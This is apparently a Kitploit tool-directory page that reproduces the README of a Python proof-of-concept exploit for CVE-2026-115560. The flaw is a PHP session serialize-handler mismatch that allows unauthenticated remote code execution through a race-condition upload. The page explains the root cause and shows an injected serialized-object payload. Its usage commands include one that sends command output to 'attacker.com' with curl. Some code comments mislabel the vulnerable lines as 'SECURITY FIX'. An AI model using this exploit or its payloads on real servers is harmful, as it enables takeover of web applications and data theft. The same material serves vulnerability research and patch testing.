Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-115560 — Python PoC exploiting CVE-2026-115560, a PHP session upload-progress serialize-handler mismatch enabling unauthenticated object injection and RCE via a race-condition upload. | Kitploit
Tools/GitHubGitHub/llcforge/cve-2026-115560
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubllcforge/cve-2026-115560

CVE-2026-115560

Python PoC exploiting CVE-2026-115560, a PHP session upload-progress serialize-handler mismatch enabling unauthenticated object injection and RCE via a race-condition upload.

View Repository
1 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    594
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    387
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    322
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    308
  • 6

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    275

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-115560 -- PHP Session Upload Progress Serialize-Handler Mismatch (Unauthenticated RCE)

CVE CVSS CWE Language Status Author


Metadata

FieldValue
CVE IDCVE-2026-115560
VendorThe PHP Group
Affected VersionsPHP 7.x, 8.0 – 8.4.x (all builds with default session.upload_progress config)
Fixed VersionNo patch — official mitigation: session.upload_progress.enabled=0
Advisoryphp.net informational advisory 2026-10-23
CVSS 3.19.8 Critical
CWECWE-502 — Deserialization of Untrusted Data
Attack VectorNetwork
Auth RequiredNone (unauthenticated)
ImpactUnauthenticated Remote Code Execution via PHP object injection
Preconditionssession.upload_progress.enabled=1 (PHP default) + application switches serializer at runtime

Description

CVE-2026-115560 is an unauthenticated Remote Code Execution vulnerability in PHP's session extension, disclosed 2026-10-23 — two days after the PHP2Shell emergency releases (CVE-2026-109618 / CVE-2026-109619). It affects any PHP application where all three preconditions hold simultaneously:

  1. Server php.ini configures session.serialize_handler = php_binary or session.serialize_handler = php_serialize
  2. Application code calls ini_set('session.serialize_handler', 'php') before session_start()
  3. session.upload_progress.enabled = 1 (the PHP default)

The root cause is a serialize-handler mismatch: PHP's session upload progress subsystem runs pre-RINIT (before any application code) and writes the session file using the server-configured handler (php_serialize). When the application subsequently switches to the php handler and calls session_start(), it reads back the session file using the php deserializer, which splits on the first | character and unserializes everything after it.

Since the attacker controls the PHP_SESSION_UPLOAD_PROGRESS POST field value — which PHP stores as an unsanitized array key in the session file — they can inject a | followed by an arbitrary serialized PHP object. The php handler deserializes it, triggering __destruct / __wakeup gadget chains and achieving RCE.

The exploit is a concurrent two-request attack: one request trickles a large file upload (keeping the malicious session key alive in the session file), while a second request reads the session, triggering deserialization. With the default session.upload_progress.cleanup=1, the race window is kept open for the entire upload duration — achievable in the 13–38 second range with a multi-MB body.


Root Cause Deep Dive

php-src/ext/session/session.c          php-src/main/rfc1867.c
─────────────────────────────          ──────────────────────
php_session_rfc1867_callback()         MULTIPART_EVENT_FILE_START
  └─ php_rinit_session(0)              PS(serializer) = server ini (php_serialize)
  └─ php_session_rfc1867_update()
       └─ php_session_flush(1)         ← writes session file with php_serialize
            key = "upload_progress_" + PHP_SESSION_UPLOAD_PROGRESS (UNSANITIZED)
            value = array(start_time, current_file, ...)

--- (upload still in flight) ---

Application code (application.php):
  ini_set('session.serialize_handler', 'php')   // SECURITY FIX: CWE-502 -- ini switch creates mismatch
  session_start()
    └─ PS_SERIALIZER_DECODE_FUNC(php)
         splits at first '|'
         unserialize(everything after '|')       ← attacker-controlled gadget chain
         __destruct() fires → RCE

Resulting session file (mid-upload)

a:1:{s:56:"upload_progress_|O:12:"ExecOnDestruct":1:{s:3:"cmd";s:2:"id";}";a:5:{...}}
                            ^
                            php handler splits here and unserializes the rest

Vulnerable Code (PHP Session Extension)

/* ext/session/session.c -- php_session_rfc1867_callback (PHP <= 8.4.x) */
static void php_session_rfc1867_callback(unsigned int event, void *event_data, void **extra)
{
    /* SECURITY FIX: CWE-502 -- PS(serializer) resolved from server ini, not application ini */
    if (event == MULTIPART_EVENT_FILE_START) {
        php_rinit_session(0);           // uses server-configured serialize_handler
    }
    if (event == MULTIPART_EVENT_FILE_END || event == MULTIPART_EVENT_END) {
        php_session_rfc1867_update(progress, 1);   // writes with server handler
        // PS(session_status) = php_session_none — not locked against handler re-init
    }
}
// Vulnerable application pattern
ini_set('session.serialize_handler', 'php');  // switches handler AFTER rfc1867 write
session_start();                              // reads back with 'php', deserializes mismatch

Attack Flow

flowchart LR
    A([Attacker]) -->|POST multipart upload\nPHP_SESSION_UPLOAD_PROGRESS=\n pipe + serialized gadget| B[PHP rfc1867 callback\npre-RINIT]
    B -->|writes session file\nwith php_serialize handler| C[(Session File\n/tmp/sess_X)]
    C -->|malicious key survives\nfor upload duration| D{Race Window\n13-38 seconds}
    D -->|concurrent GET /?PHPSESSID=X| E[Application Code\nini_set handler=php\nsession_start]
    E -->|php handler reads session\nsplits on pipe char| F[unserialize gadget]
    F -->|__destruct fires| G([RCE\ncode execution as www-data])
    style A fill:#1a0810,color:#e94560
    style G fill:#1a0810,color:#e94560
    style F fill:#3d0015,color:#fff
    style D fill:#1a2010,color:#7ec8a0

PoC Usage

pip install -r requirements.txt

# Check preconditions only (no exploit)
python poc.py -u http://target.example.com/app.php --check-only -v

# Full exploit: inject id command via __destruct gadget
python poc.py -u http://target.example.com/app.php -c "id" -v

# Custom gadget class name and RCE payload
python poc.py -u http://target.example.com/app.php -c "curl http://attacker.com/$(id)" \
              --gadget ExecOnDestruct --upload-size 8 -o result.json

# Proxy through Burp
python poc.py -u http://target.example.com/app.php -c "id" --proxy http://127.0.0.1:8080 --insecure

Flags

FlagDescription
-u / --urlTarget URL (the endpoint that calls ini_set + session_start)
-c / --cmdOS command to execute via RCE gadget
--gadgetPHP class name to inject (default: ExecOnDestruct)
--upload-sizeUpload body size in MiB to hold race window open (default: 4)
--upload-chunkBytes per chunk / sleep interval to slow upload (default: 16384 / 0.1s)
--threadsConsumer threads hitting session endpoint (default: 4)
--session-idUse specific PHPSESSID (default: auto-generated)
--check-onlyDetect preconditions without triggering exploit
--timeoutPer-request timeout in seconds (default: 60)
--proxyHTTP/HTTPS proxy for all requests
--insecureSkip TLS certificate verification
-o / --outputSave results to JSON
-v / --verboseVerbose output

Impact

Download Tool